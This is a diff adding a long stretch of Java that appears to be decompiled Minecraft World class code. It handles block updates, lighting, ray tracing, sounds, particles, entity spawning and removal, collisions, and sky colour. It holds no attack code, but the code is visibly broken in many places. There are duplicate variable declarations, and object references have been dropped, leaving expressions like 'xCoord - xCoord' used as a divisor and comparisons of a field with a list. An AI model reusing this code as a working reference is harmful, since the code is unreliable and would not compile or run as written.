+    return setBlockState(pos, Blocks.air.getDefaultState(), 3);
+  }
+  
+
+
+
+
+  public boolean setBlockState(BlockPos pos, IBlockState state)
+  {
+    return setBlockState(pos, state, 3);
+  }
+  
+  public void markBlockForUpdate(BlockPos pos)
+  {
+    for (int var2 = 0; var2 < worldAccesses.size(); var2++)
+    {
+      ((IWorldAccess)worldAccesses.get(var2)).markBlockForUpdate(pos);
+    }
+  }
+  
+  public void func_175722_b(BlockPos pos, Block blockType)
+  {
+    if (worldInfo.getTerrainType() != WorldType.DEBUG_WORLD)
+    {
+      notifyNeighborsOfStateChange(pos, blockType);
+    }
+  }
+  
+
+
+
+
+
+  public void markBlocksDirtyVertical(int x1, int z1, int x2, int z2)
+  {
+    if (x2 > z2)
+    {
+      int var5 = z2;
+      z2 = x2;
+      x2 = var5;
+    }
+    
+    if (!provider.getHasNoSky())
+    {
+      for (int var5 = x2; var5 <= z2; var5++)
+      {
+        checkLightFor(EnumSkyBlock.SKY, new BlockPos(x1, var5, z1));
+      }
+    }
+    
+    markBlockRangeForRenderUpdate(x1, x2, z1, x1, z2, z1);
+  }
+  
+  public void markBlockRangeForRenderUpdate(BlockPos rangeMin, BlockPos rangeMax)
+  {
+    markBlockRangeForRenderUpdate(rangeMin.getX(), rangeMin.getY(), rangeMin.getZ(), rangeMax.getX(), rangeMax.getY(), rangeMax.getZ());
+  }
+  
+  public void markBlockRangeForRenderUpdate(int x1, int y1, int z1, int x2, int y2, int z2)
+  {
+    for (int var7 = 0; var7 < worldAccesses.size(); var7++)
+    {
+      ((IWorldAccess)worldAccesses.get(var7)).markBlockRangeForRenderUpdate(x1, y1, z1, x2, y2, z2);
+    }
+  }
+  
+  public void notifyNeighborsOfStateChange(BlockPos pos, Block blockType)
+  {
+    notifyBlockOfStateChange(pos.offsetWest(), blockType);
+    notifyBlockOfStateChange(pos.offsetEast(), blockType);
+    notifyBlockOfStateChange(pos.offsetDown(), blockType);
+    notifyBlockOfStateChange(pos.offsetUp(), blockType);
+    notifyBlockOfStateChange(pos.offsetNorth(), blockType);
+    notifyBlockOfStateChange(pos.offsetSouth(), blockType);
+  }
+  
+  public void notifyNeighborsOfStateExcept(BlockPos pos, Block blockType, EnumFacing skipSide)
+  {
+    if (skipSide != EnumFacing.WEST)
+    {
+      notifyBlockOfStateChange(pos.offsetWest(), blockType);
+    }
+    
+    if (skipSide != EnumFacing.EAST)
+    {
+      notifyBlockOfStateChange(pos.offsetEast(), blockType);
+    }
+    
+    if (skipSide != EnumFacing.DOWN)
+    {
+      notifyBlockOfStateChange(pos.offsetDown(), blockType);
+    }
+    
+    if (skipSide != EnumFacing.UP)
+    {
+      notifyBlockOfStateChange(pos.offsetUp(), blockType);
+    }
+    
+    if (skipSide != EnumFacing.NORTH)
+    {
+      notifyBlockOfStateChange(pos.offsetNorth(), blockType);
+    }
+    
+    if (skipSide != EnumFacing.SOUTH)
+    {
+      notifyBlockOfStateChange(pos.offsetSouth(), blockType);
+    }
+  }
+  
+  public void notifyBlockOfStateChange(BlockPos pos, final Block blockIn)
+  {
+    if (!isRemote)
+    {
+      IBlockState var3 = getBlockState(pos);
+      
+      try
+      {
+        var3.getBlock().onNeighborBlockChange(this, pos, var3, blockIn);
+      }
+      catch (Throwable var7)
+      {
+        CrashReport var5 = CrashReport.makeCrashReport(var7, "Exception while updating neighbours");
+        CrashReportCategory var6 = var5.makeCategory("Block being updated");
+        var6.addCrashSectionCallable("Source block type", new Callable()
+        {
+          private static final String __OBFID = "CL_00000142";
+          
+          public String call()
+          {
+            try {
+              return String.format("ID #%d (%s // %s)", new Object[] { Integer.valueOf(Block.getIdFromBlock(blockIn)), blockIn.getUnlocalizedName(), blockIn.getClass().getCanonicalName() });
+            }
+            catch (Throwable var2) {}
+            
+            return "ID #" + Block.getIdFromBlock(blockIn);
+          }
+          
+        });
+        CrashReportCategory.addBlockInfo(var6, pos, var3);
+        throw new ReportedException(var5);
+      }
+    }
+  }
+  
+  public boolean isBlockTickPending(BlockPos pos, Block blockType)
+  {
+    return false;
+  }
+  
+  public boolean isAgainstSky(BlockPos pos)
+  {
+    return getChunkFromBlockCoords(pos).canSeeSky(pos);
+  }
+  
+  public boolean canBlockSeeSky(BlockPos pos)
+  {
+    if (pos.getY() >= 63)
+    {
+      return isAgainstSky(pos);
+    }
+    
+
+    BlockPos var2 = new BlockPos(pos.getX(), 63, pos.getZ());
+    
+    if (!isAgainstSky(var2))
+    {
+      return false;
+    }
+    
+
+    for (var2 = var2.offsetDown(); var2.getY() > pos.getY(); var2 = var2.offsetDown())
+    {
+      Block var3 = getBlockState(var2).getBlock();
+      
+      if ((var3.getLightOpacity() > 0) && (!var3.getMaterial().isLiquid()))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+  public int getLight(BlockPos pos)
+  {
+    if (pos.getY() < 0)
+    {
+      return 0;
+    }
+    
+
+    if (pos.getY() >= 256)
+    {
+      pos = new BlockPos(pos.getX(), 255, pos.getZ());
+    }
+    
+    return getChunkFromBlockCoords(pos).setLight(pos, 0);
+  }
+  
+
+  public int getLightFromNeighbors(BlockPos pos)
+  {
+    return getLight(pos, true);
+  }
+  
+  public int getLight(BlockPos pos, boolean checkNeighbors)
+  {
+    if ((pos.getX() >= -30000000) && (pos.getZ() >= -30000000) && (pos.getX() < 30000000) && (pos.getZ() < 30000000))
+    {
+      if ((checkNeighbors) && (getBlockState(pos).getBlock().getUseNeighborBrightness()))
+      {
+        int var8 = getLight(pos.offsetUp(), false);
+        int var4 = getLight(pos.offsetEast(), false);
+        int var5 = getLight(pos.offsetWest(), false);
+        int var6 = getLight(pos.offsetSouth(), false);
+        int var7 = getLight(pos.offsetNorth(), false);
+        
+        if (var4 > var8)
+        {
+          var8 = var4;
+        }
+        
+        if (var5 > var8)
+        {
+          var8 = var5;
+        }
+        
+        if (var6 > var8)
+        {
+          var8 = var6;
+        }
+        
+        if (var7 > var8)
+        {
+          var8 = var7;
+        }
+        
+        return var8;
+      }
+      if (pos.getY() < 0)
+      {
+        return 0;
+      }
+      
+
+      if (pos.getY() >= 256)
+      {
+        pos = new BlockPos(pos.getX(), 255, pos.getZ());
+      }
+      
+      Chunk var3 = getChunkFromBlockCoords(pos);
+      return var3.setLight(pos, skylightSubtracted);
+    }
+    
+
+
+    return 15;
+  }
+  
+
+  public BlockPos getHorizon(BlockPos pos)
+  {
+    int var2;
+    int var2;
+    if ((pos.getX() >= -30000000) && (pos.getZ() >= -30000000) && (pos.getX() < 30000000) && (pos.getZ() < 30000000)) {
+      int var2;
+      if (isChunkLoaded(pos.getX() >> 4, pos.getZ() >> 4, true))
+      {
+        var2 = getChunkFromChunkCoords(pos.getX() >> 4, pos.getZ() >> 4).getHeight(pos.getX() & 0xF, pos.getZ() & 0xF);
+      }
+      else
+      {
+        var2 = 0;
+      }
+    }
+    else
+    {
+      var2 = 64;
+    }
+    
+    return new BlockPos(pos.getX(), var2, pos.getZ());
+  }
+  
+
+
+
+  public int getChunksLowestHorizon(int x, int z)
+  {
+    if ((x >= -30000000) && (z >= -30000000) && (x < 30000000) && (z < 30000000))
+    {
+      if (!isChunkLoaded(x >> 4, z >> 4, true))
+      {
+        return 0;
+      }
+      
+
+      Chunk var3 = getChunkFromChunkCoords(x >> 4, z >> 4);
+      return var3.getLowestHeight();
+    }
+    
+
+
+    return 64;
+  }
+  
+
+  public int getLightFromNeighborsFor(EnumSkyBlock type, BlockPos p_175705_2_)
+  {
+    if ((provider.getHasNoSky()) && (type == EnumSkyBlock.SKY))
+    {
+      return 0;
+    }
+    
+
+    if (p_175705_2_.getY() < 0)
+    {
+      p_175705_2_ = new BlockPos(p_175705_2_.getX(), 0, p_175705_2_.getZ());
+    }
+    
+    if (!isValid(p_175705_2_))
+    {
+      return defaultLightValue;
+    }
+    if (!isBlockLoaded(p_175705_2_))
+    {
+      return defaultLightValue;
+    }
+    if (getBlockState(p_175705_2_).getBlock().getUseNeighborBrightness())
+    {
+      int var8 = getLightFor(type, p_175705_2_.offsetUp());
+      int var4 = getLightFor(type, p_175705_2_.offsetEast());
+      int var5 = getLightFor(type, p_175705_2_.offsetWest());
+      int var6 = getLightFor(type, p_175705_2_.offsetSouth());
+      int var7 = getLightFor(type, p_175705_2_.offsetNorth());
+      
+      if (var4 > var8)
+      {
+        var8 = var4;
+      }
+      
+      if (var5 > var8)
+      {
+        var8 = var5;
+      }
+      
+      if (var6 > var8)
+      {
+        var8 = var6;
+      }
+      
+      if (var7 > var8)
+      {
+        var8 = var7;
+      }
+      
+      return var8;
+    }
+    
+
+    Chunk var3 = getChunkFromBlockCoords(p_175705_2_);
+    return var3.getLightFor(type, p_175705_2_);
+  }
+  
+
+
+  public int getLightFor(EnumSkyBlock type, BlockPos pos)
+  {
+    if (pos.getY() < 0)
+    {
+      pos = new BlockPos(pos.getX(), 0, pos.getZ());
+    }
+    
+    if (!isValid(pos))
+    {
+      return defaultLightValue;
+    }
+    if (!isBlockLoaded(pos))
+    {
+      return defaultLightValue;
+    }
+    
+
+    Chunk var3 = getChunkFromBlockCoords(pos);
+    return var3.getLightFor(type, pos);
+  }
+  
+
+  public void setLightFor(EnumSkyBlock type, BlockPos pos, int lightValue)
+  {
+    if (isValid(pos))
+    {
+      if (isBlockLoaded(pos))
+      {
+        Chunk var4 = getChunkFromBlockCoords(pos);
+        var4.setLightFor(type, pos, lightValue);
+        notifyLightSet(pos);
+      }
+    }
+  }
+  
+  public void notifyLightSet(BlockPos pos)
+  {
+    for (int var2 = 0; var2 < worldAccesses.size(); var2++)
+    {
+      ((IWorldAccess)worldAccesses.get(var2)).notifyLightSet(pos);
+    }
+  }
+  
+  public int getCombinedLight(BlockPos p_175626_1_, int p_175626_2_)
+  {
+    int var3 = getLightFromNeighborsFor(EnumSkyBlock.SKY, p_175626_1_);
+    int var4 = getLightFromNeighborsFor(EnumSkyBlock.BLOCK, p_175626_1_);
+    
+    if (var4 < p_175626_2_)
+    {
+      var4 = p_175626_2_;
+    }
+    
+    return var3 << 20 | var4 << 4;
+  }
+  
+  public float getLightBrightness(BlockPos pos)
+  {
+    return provider.getLightBrightnessTable()[getLightFromNeighbors(pos)];
+  }
+  
+  public IBlockState getBlockState(BlockPos pos)
+  {
+    if (!isValid(pos))
+    {
+      return Blocks.air.getDefaultState();
+    }
+    
+
+    Chunk var2 = getChunkFromBlockCoords(pos);
+    return var2.getBlockState(pos);
+  }
+  
+
+
+
+
+  public boolean isDaytime()
+  {
+    return skylightSubtracted < 4;
+  }
+  
+
+
+
+  public MovingObjectPosition rayTraceBlocks(Vec3 p_72933_1_, Vec3 p_72933_2_)
+  {
+    return rayTraceBlocks(p_72933_1_, p_72933_2_, false, false, false);
+  }
+  
+  public MovingObjectPosition rayTraceBlocks(Vec3 p_72901_1_, Vec3 p_72901_2_, boolean p_72901_3_)
+  {
+    return rayTraceBlocks(p_72901_1_, p_72901_2_, p_72901_3_, false, false);
+  }
+  
+
+
+
+
+  public MovingObjectPosition rayTraceBlocks(Vec3 p_147447_1_, Vec3 p_147447_2_, boolean p_147447_3_, boolean p_147447_4_, boolean p_147447_5_)
+  {
+    if ((!Double.isNaN(xCoord)) && (!Double.isNaN(yCoord)) && (!Double.isNaN(zCoord)))
+    {
+      if ((!Double.isNaN(xCoord)) && (!Double.isNaN(yCoord)) && (!Double.isNaN(zCoord)))
+      {
+        int var6 = MathHelper.floor_double(xCoord);
+        int var7 = MathHelper.floor_double(yCoord);
+        int var8 = MathHelper.floor_double(zCoord);
+        int var9 = MathHelper.floor_double(xCoord);
+        int var10 = MathHelper.floor_double(yCoord);
+        int var11 = MathHelper.floor_double(zCoord);
+        BlockPos var12 = new BlockPos(var9, var10, var11);
+        new BlockPos(var6, var7, var8);
+        IBlockState var14 = getBlockState(var12);
+        Block var15 = var14.getBlock();
+        
+        if (((!p_147447_4_) || (var15.getCollisionBoundingBox(this, var12, var14) != null)) && (var15.canCollideCheck(var14, p_147447_3_)))
+        {
+          MovingObjectPosition var16 = var15.collisionRayTrace(this, var12, p_147447_1_, p_147447_2_);
+          
+          if (var16 != null)
+          {
+            return var16;
+          }
+        }
+        
+        MovingObjectPosition var41 = null;
+        int var42 = 200;
+        
+        while (var42-- >= 0)
+        {
+          if ((Double.isNaN(xCoord)) || (Double.isNaN(yCoord)) || (Double.isNaN(zCoord)))
+          {
+            return null;
+          }
+          
+          if ((var9 == var6) && (var10 == var7) && (var11 == var8))
+          {
+            return p_147447_5_ ? var41 : null;
+          }
+          
+          boolean var43 = true;
+          boolean var17 = true;
+          boolean var18 = true;
+          double var19 = 999.0D;
+          double var21 = 999.0D;
+          double var23 = 999.0D;
+          
+          if (var6 > var9)
+          {
+            var19 = var9 + 1.0D;
+          }
+          else if (var6 < var9)
+          {
+            var19 = var9 + 0.0D;
+          }
+          else
+          {
+            var43 = false;
+          }
+          
+          if (var7 > var10)
+          {
+            var21 = var10 + 1.0D;
+          }
+          else if (var7 < var10)
+          {
+            var21 = var10 + 0.0D;
+          }
+          else
+          {
+            var17 = false;
+          }
+          
+          if (var8 > var11)
+          {
+            var23 = var11 + 1.0D;
+          }
+          else if (var8 < var11)
+          {
+            var23 = var11 + 0.0D;
+          }
+          else
+          {
+            var18 = false;
+          }
+          
+          double var25 = 999.0D;
+          double var27 = 999.0D;
+          double var29 = 999.0D;
+          double var31 = xCoord - xCoord;
+          double var33 = yCoord - yCoord;
+          double var35 = zCoord - zCoord;
+          
+          if (var43)
+          {
+            var25 = (var19 - xCoord) / var31;
+          }
+          
+          if (var17)
+          {
+            var27 = (var21 - yCoord) / var33;
+          }
+          
+          if (var18)
+          {
+            var29 = (var23 - zCoord) / var35;
+          }
+          
+          if (var25 == -0.0D)
+          {
+            var25 = -1.0E-4D;
+          }
+          
+          if (var27 == -0.0D)
+          {
+            var27 = -1.0E-4D;
+          }
+          
+          if (var29 == -0.0D)
+          {
+            var29 = -1.0E-4D;
+          }
+          
+          EnumFacing var37;
+          
+          if ((var25 < var27) && (var25 < var29))
+          {
+            EnumFacing var37 = var6 > var9 ? EnumFacing.WEST : EnumFacing.EAST;
+            p_147447_1_ = new Vec3(var19, yCoord + var33 * var25, zCoord + var35 * var25);
+          }
+          else if (var27 < var29)
+          {
+            EnumFacing var37 = var7 > var10 ? EnumFacing.DOWN : EnumFacing.UP;
+            p_147447_1_ = new Vec3(xCoord + var31 * var27, var21, zCoord + var35 * var27);
+          }
+          else
+          {
+            var37 = var8 > var11 ? EnumFacing.NORTH : EnumFacing.SOUTH;
+            p_147447_1_ = new Vec3(xCoord + var31 * var29, yCoord + var33 * var29, var23);
+          }
+          
+          var9 = MathHelper.floor_double(xCoord) - (var37 == EnumFacing.EAST ? 1 : 0);
+          var10 = MathHelper.floor_double(yCoord) - (var37 == EnumFacing.UP ? 1 : 0);
+          var11 = MathHelper.floor_double(zCoord) - (var37 == EnumFacing.SOUTH ? 1 : 0);
+          var12 = new BlockPos(var9, var10, var11);
+          IBlockState var38 = getBlockState(var12);
+          Block var39 = var38.getBlock();
+          
+          if ((!p_147447_4_) || (var39.getCollisionBoundingBox(this, var12, var38) != null))
+          {
+            if (var39.canCollideCheck(var38, p_147447_3_))
+            {
+              MovingObjectPosition var40 = var39.collisionRayTrace(this, var12, p_147447_1_, p_147447_2_);
+              
+              if (var40 != null)
+              {
+                return var40;
+              }
+            }
+            else
+            {
+              var41 = new MovingObjectPosition(MovingObjectPosition.MovingObjectType.MISS, p_147447_1_, var37, var12);
+            }
+          }
+        }
+        
+        return p_147447_5_ ? var41 : null;
+      }
+      
+
+      return null;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public void playSoundAtEntity(Entity p_72956_1_, String p_72956_2_, float p_72956_3_, float p_72956_4_)
+  {
+    for (int var5 = 0; var5 < worldAccesses.size(); var5++)
+    {
+      ((IWorldAccess)worldAccesses.get(var5)).playSound(p_72956_2_, posX, posY, posZ, p_72956_3_, p_72956_4_);
+    }
+  }
+  
+
+
+
+  public void playSoundToNearExcept(EntityPlayer p_85173_1_, String p_85173_2_, float p_85173_3_, float p_85173_4_)
+  {
+    for (int var5 = 0; var5 < worldAccesses.size(); var5++)
+    {
+      ((IWorldAccess)worldAccesses.get(var5)).playSoundToNearExcept(p_85173_1_, p_85173_2_, posX, posY, posZ, p_85173_3_, p_85173_4_);
+    }
+  }
+  
+
+
+
+
+
+  public void playSoundEffect(double x, double y, double z, String soundName, float volume, float pitch)
+  {
+    for (int var10 = 0; var10 < worldAccesses.size(); var10++)
+    {
+      ((IWorldAccess)worldAccesses.get(var10)).playSound(soundName, x, y, z, volume, pitch);
+    }
+  }
+  
+
+
+  public void playSound(double x, double y, double z, String soundName, float volume, float pitch, boolean distanceDelay) {}
+  
+
+  public void func_175717_a(BlockPos p_175717_1_, String p_175717_2_)
+  {
+    for (int var3 = 0; var3 < worldAccesses.size(); var3++)
+    {
+      ((IWorldAccess)worldAccesses.get(var3)).func_174961_a(p_175717_2_, p_175717_1_);
+    }
+  }
+  
+  public void spawnParticle(EnumParticleTypes p_175688_1_, double p_175688_2_, double p_175688_4_, double p_175688_6_, double p_175688_8_, double p_175688_10_, double p_175688_12_, int... p_175688_14_)
+  {
+    spawnParticle(p_175688_1_.func_179348_c(), p_175688_1_.func_179344_e(), p_175688_2_, p_175688_4_, p_175688_6_, p_175688_8_, p_175688_10_, p_175688_12_, p_175688_14_);
+  }
+  
+  public void spawnParticle(EnumParticleTypes p_175682_1_, boolean p_175682_2_, double p_175682_3_, double p_175682_5_, double p_175682_7_, double p_175682_9_, double p_175682_11_, double p_175682_13_, int... p_175682_15_)
+  {
+    spawnParticle(p_175682_1_.func_179348_c(), p_175682_1_.func_179344_e() | p_175682_2_, p_175682_3_, p_175682_5_, p_175682_7_, p_175682_9_, p_175682_11_, p_175682_13_, p_175682_15_);
+  }
+  
+  private void spawnParticle(int p_175720_1_, boolean p_175720_2_, double p_175720_3_, double p_175720_5_, double p_175720_7_, double p_175720_9_, double p_175720_11_, double p_175720_13_, int... p_175720_15_)
+  {
+    for (int var16 = 0; var16 < worldAccesses.size(); var16++)
+    {
+      ((IWorldAccess)worldAccesses.get(var16)).func_180442_a(p_175720_1_, p_175720_2_, p_175720_3_, p_175720_5_, p_175720_7_, p_175720_9_, p_175720_11_, p_175720_13_, p_175720_15_);
+    }
+  }
+  
+
+
+
+  public boolean addWeatherEffect(Entity p_72942_1_)
+  {
+    weatherEffects.add(p_72942_1_);
+    return true;
+  }
+  
+
+
+
+  public boolean spawnEntityInWorld(Entity p_72838_1_)
+  {
+    int var2 = MathHelper.floor_double(posX / 16.0D);
+    int var3 = MathHelper.floor_double(posZ / 16.0D);
+    boolean var4 = forceSpawn;
+    
+    if ((p_72838_1_ instanceof EntityPlayer))
+    {
+      var4 = true;
+    }
+    
+    if ((!var4) && (!isChunkLoaded(var2, var3, true)))
+    {
+      return false;
+    }
+    
+
+    if ((p_72838_1_ instanceof EntityPlayer))
+    {
+      EntityPlayer var5 = (EntityPlayer)p_72838_1_;
+      playerEntities.add(var5);
+      updateAllPlayersSleepingFlag();
+    }
+    
+    getChunkFromChunkCoords(var2, var3).addEntity(p_72838_1_);
+    loadedEntityList.add(p_72838_1_);
+    onEntityAdded(p_72838_1_);
+    return true;
+  }
+  
+
+  protected void onEntityAdded(Entity p_72923_1_)
+  {
+    for (int var2 = 0; var2 < worldAccesses.size(); var2++)
+    {
+      ((IWorldAccess)worldAccesses.get(var2)).onEntityAdded(p_72923_1_);
+    }
+  }
+  
+  protected void onEntityRemoved(Entity p_72847_1_)
+  {
+    for (int var2 = 0; var2 < worldAccesses.size(); var2++)
+    {
+      ((IWorldAccess)worldAccesses.get(var2)).onEntityRemoved(p_72847_1_);
+    }
+  }
+  
+
+
+
+  public void removeEntity(Entity p_72900_1_)
+  {
+    if (riddenByEntity != null)
+    {
+      riddenByEntity.mountEntity(null);
+    }
+    
+    if (ridingEntity != null)
+    {
+      p_72900_1_.mountEntity(null);
+    }
+    
+    p_72900_1_.setDead();
+    
+    if ((p_72900_1_ instanceof EntityPlayer))
+    {
+      playerEntities.remove(p_72900_1_);
+      updateAllPlayersSleepingFlag();
+      onEntityRemoved(p_72900_1_);
+    }
+  }
+  
+
+
+
+  public void removePlayerEntityDangerously(Entity p_72973_1_)
+  {
+    p_72973_1_.setDead();
+    
+    if ((p_72973_1_ instanceof EntityPlayer))
+    {
+      playerEntities.remove(p_72973_1_);
+      updateAllPlayersSleepingFlag();
+    }
+    
+    int var2 = chunkCoordX;
+    int var3 = chunkCoordZ;
+    
+    if ((addedToChunk) && (isChunkLoaded(var2, var3, true)))
+    {
+      getChunkFromChunkCoords(var2, var3).removeEntity(p_72973_1_);
+    }
+    
+    loadedEntityList.remove(p_72973_1_);
+    onEntityRemoved(p_72973_1_);
+  }
+  
+
+
+
+  public void addWorldAccess(IWorldAccess p_72954_1_)
+  {
+    worldAccesses.add(p_72954_1_);
+  }
+  
+
+
+
+  public void removeWorldAccess(IWorldAccess p_72848_1_)
+  {
+    worldAccesses.remove(p_72848_1_);
+  }
+  
+
+
+
+
+  public List getCollidingBoundingBoxes(Entity p_72945_1_, AxisAlignedBB p_72945_2_)
+  {
+    ArrayList var3 = Lists.newArrayList();
+    int var4 = MathHelper.floor_double(minX);
+    int var5 = MathHelper.floor_double(maxX + 1.0D);
+    int var6 = MathHelper.floor_double(minY);
+    int var7 = MathHelper.floor_double(maxY + 1.0D);
+    int var8 = MathHelper.floor_double(minZ);
+    int var9 = MathHelper.floor_double(maxZ + 1.0D);
+    
+    for (int var10 = var4; var10 < var5; var10++)
+    {
+      for (int var11 = var8; var11 < var9; var11++)
+      {
+        if (isBlockLoaded(new BlockPos(var10, 64, var11)))
+        {
+          for (int var12 = var6 - 1; var12 < var7; var12++)
+          {
+            BlockPos var13 = new BlockPos(var10, var12, var11);
+            boolean var14 = p_72945_1_.isOutsideBorder();
+            boolean var15 = isInsideBorder(getWorldBorder(), p_72945_1_);
+            
+            if ((var14) && (var15))
+            {
+              p_72945_1_.setOutsideBorder(false);
+            }
+            else if ((!var14) && (!var15))
+            {
+              p_72945_1_.setOutsideBorder(true);
+            }
+            
+            IBlockState var16;
+            IBlockState var16;
+            if ((!getWorldBorder().contains(var13)) && (var15))
+            {
+              var16 = Blocks.stone.getDefaultState();
+            }
+            else
+            {
+              var16 = getBlockState(var13);
+            }
+            
+            var16.getBlock().addCollisionBoxesToList(this, var13, var16, p_72945_2_, var3, p_72945_1_);
+          }
+        }
+      }
+    }
+    
+    double var17 = 0.25D;
+    List var18 = getEntitiesWithinAABBExcludingEntity(p_72945_1_, p_72945_2_.expand(var17, var17, var17));
+    
+    for (int var19 = 0; var19 < var18.size(); var19++)
+    {
+      if ((riddenByEntity != var18) && (ridingEntity != var18))
+      {
+        AxisAlignedBB var20 = ((Entity)var18.get(var19)).getBoundingBox();
+        
+        if ((var20 != null) && (var20.intersectsWith(p_72945_2_)))
+        {
+          var3.add(var20);
+        }
+        
+        var20 = p_72945_1_.getCollisionBox((Entity)var18.get(var19));
+        
+        if ((var20 != null) && (var20.intersectsWith(p_72945_2_)))
+        {
+          var3.add(var20);
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+  public boolean isInsideBorder(WorldBorder p_175673_1_, Entity p_175673_2_)
+  {
+    double var3 = p_175673_1_.minX();
+    double var5 = p_175673_1_.minZ();
+    double var7 = p_175673_1_.maxX();
+    double var9 = p_175673_1_.maxZ();
+    
+    if (p_175673_2_.isOutsideBorder())
+    {
+      var3 += 1.0D;
+      var5 += 1.0D;
+      var7 -= 1.0D;
+      var9 -= 1.0D;
+    }
+    else
+    {
+      var3 -= 1.0D;
+      var5 -= 1.0D;
+      var7 += 1.0D;
+      var9 += 1.0D;
+    }
+    
+    return (posX > var3) && (posX < var7) && (posZ > var5) && (posZ < var9);
+  }
+  
+  public List func_147461_a(AxisAlignedBB p_147461_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    int var3 = MathHelper.floor_double(minX);
+    int var4 = MathHelper.floor_double(maxX + 1.0D);
+    int var5 = MathHelper.floor_double(minY);
+    int var6 = MathHelper.floor_double(maxY + 1.0D);
+    int var7 = MathHelper.floor_double(minZ);
+    int var8 = MathHelper.floor_double(maxZ + 1.0D);
+    
+    for (int var9 = var3; var9 < var4; var9++)
+    {
+      for (int var10 = var7; var10 < var8; var10++)
+      {
+        if (isBlockLoaded(new BlockPos(var9, 64, var10)))
+        {
+          for (int var11 = var5 - 1; var11 < var6; var11++)
+          {
+            BlockPos var13 = new BlockPos(var9, var11, var10);
+            IBlockState var12;
+            IBlockState var12;
+            if ((var9 >= -30000000) && (var9 < 30000000) && (var10 >= -30000000) && (var10 < 30000000))
+            {
+              var12 = getBlockState(var13);
+            }
+            else
+            {
+              var12 = Blocks.bedrock.getDefaultState();
+            }
+            
+            var12.getBlock().addCollisionBoxesToList(this, var13, var12, p_147461_1_, var2, null);
+          }
+        }
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int calculateSkylightSubtracted(float p_72967_1_)
+  {
+    float var2 = getCelestialAngle(p_72967_1_);
+    float var3 = 1.0F - (MathHelper.cos(var2 * 3.1415927F * 2.0F) * 2.0F + 0.5F);
+    var3 = MathHelper.clamp_float(var3, 0.0F, 1.0F);
+    var3 = 1.0F - var3;
+    var3 = (float)(var3 * (1.0D - getRainStrength(p_72967_1_) * 5.0F / 16.0D));
+    var3 = (float)(var3 * (1.0D - getWeightedThunderStrength(p_72967_1_) * 5.0F / 16.0D));
+    var3 = 1.0F - var3;
+    return (int)(var3 * 11.0F);
+  }
+  
+
+
+
+  public float getSunBrightness(float p_72971_1_)
+  {
+    float var2 = getCelestialAngle(p_72971_1_);
+    float var3 = 1.0F - (MathHelper.cos(var2 * 3.1415927F * 2.0F) * 2.0F + 0.2F);
+    var3 = MathHelper.clamp_float(var3, 0.0F, 1.0F);
+    var3 = 1.0F - var3;
+    var3 = (float)(var3 * (1.0D - getRainStrength(p_72971_1_) * 5.0F / 16.0D));
+    var3 = (float)(var3 * (1.0D - getWeightedThunderStrength(p_72971_1_) * 5.0F / 16.0D));
+    return var3 * 0.8F + 0.2F;
+  }
+  
+
+
+
+  public Vec3 getSkyColor(Entity p_72833_1_, float p_72833_2_)
+  {
+    float var3 = getCelestialAngle(p_72833_2_);
+    float var4 = MathHelper.cos(var3 * 3.1415927F * 2.0F) * 2.0F + 0.5F;
+    var4 = MathHelper.clamp_float(var4, 0.0F, 1.0F);
+    int var5 = MathHelper.floor_double(posX);
+    int var6 = MathHelper.floor_double(posY);
+    int var7 = MathHelper.floor_double(posZ);
+    BlockPos var8 = new BlockPos(var5, var6, var7);
+    BiomeGenBase var9 = getBiomeGenForCoords(var8);
+    float var10 = var9.func_180626_a(var8);
+    int var11 = var9.getSkyColorByTemp(var10);
+    float var12 = (var11 >> 16 & 0xFF) / 255.0F;
+    float var13 = (var11 >> 8 & 0xFF) / 255.0F;
+    float var14 = (var11 & 0xFF) / 255.0F;
+    var12 *= var4;
+    var13 *= var4;
+    var14 *= var4;
+    float var15 = getRainStrength(p_72833_2_);
+    
+
+
+    if (var15 > 0.0F)
+    {
+      float var16 = (var12 * 0.3F + var13 * 0.59F + var14 * 0.11F) * 0.6F;
+      float var17 = 1.0F - var15 * 0.75F;
+      var12 = var12 * var17 + var16 * (1.0F - var17);
+      var13 = var13 * var17 + var16 * (1.0F - var17);
+      var14 = var14 * var17 + var16 * (1.0F - var17);
+    }
+    
+    float var16 = getWeightedThunderStrength(p_72833_2_);
+    
+    if (var16 > 0.0F)
+    {
+      float var17 = (var12 * 0.3F + var13 * 0.59F + var14 * 0.11F) * 0.2F;
+      float var18 = 1.0F - var16 * 0.75F;
+      var12 = var12 * var18 + var17 * (1.0F - var18);
+      var13 = var13 * var18 + var17 * (1.0F - var18);
+      var14 = var14 * var18 + var17 * (1.0F - var18);
+    }
+    
+    if (lastLightningBolt > 0)
+    {
+      float var17 = lastLightningBolt - p_72833_2_;
+      
+      if (var17 > 1.0F)
+      {
+        var17 = 1.0F;
+      }
+      
+      var17 *= 0.45F;
+      var12 = var12 * (1.0F - var17) + 0.8F * var17;
+      var13 = var13 * (1.0F - var17) + 0.8F * var17;
+      var14 = var14 * (1.0F - var17) + 1.0F * var17;
+    }
+    
+    return new Vec3(var12, var13, var14);
+  }
+  
+
+
+
+  public float getCelestialAngle(float p_72826_1_)
+  {
+    return provider.calculateCelestialAngle(worldInfo.getWorldTime(), p_72826_1_);
+  }
+  
+  public int getMoonPhase()
+  {
+    return provider.getMoonPhase(worldInfo.getWorldTime());
+  }
+  
+
+
+
+  public float getCurrentMoonPhaseFactor()
+  {
+    return WorldProvider.moonPhaseFactors[provider.getMoonPhase(worldInfo.getWorldTime())];
+  }
+  
+
+
+
+  public float getCelestialAngleRadians(float p_72929_1_)
+  {
+    float var2 = getCelestialAngle(p_72929_1_);
+    return var2 * 3.1415927F * 2.0F;
+  }
+  
+  public Vec3 getCloudColour(float p_72824_1_)
+  {
+    float var2 = getCelestialAngle(p_72824_1_);
+    float var3 = MathHelper.cos(var2 * 3.1415927F * 2.0F) * 2.0F + 0.5F;
+    var3 = MathHelper.clamp_float(var3, 0.0F, 1.0F);
+    float var4 = (float)(cloudColour >> 16 & 0xFF) / 255.0F;
+    float var5 = (float)(cloudColour >> 8 & 0xFF) / 255.0F;
+    float var6 = (float)(cloudColour & 0xFF) / 255.0F;
+    float var7 = getRainStrength(p_72824_1_);
+    
+
+
+    if (var7 > 0.0F)
+    {
+      float var8 = (var4 * 0.3F + var5 * 0.59F + var6 * 0.11F) * 0.6F;
+      float var9 = 1.0F - var7 * 0.95F;
+      var4 = var4 * var9 + var8 * (1.0F - var9);
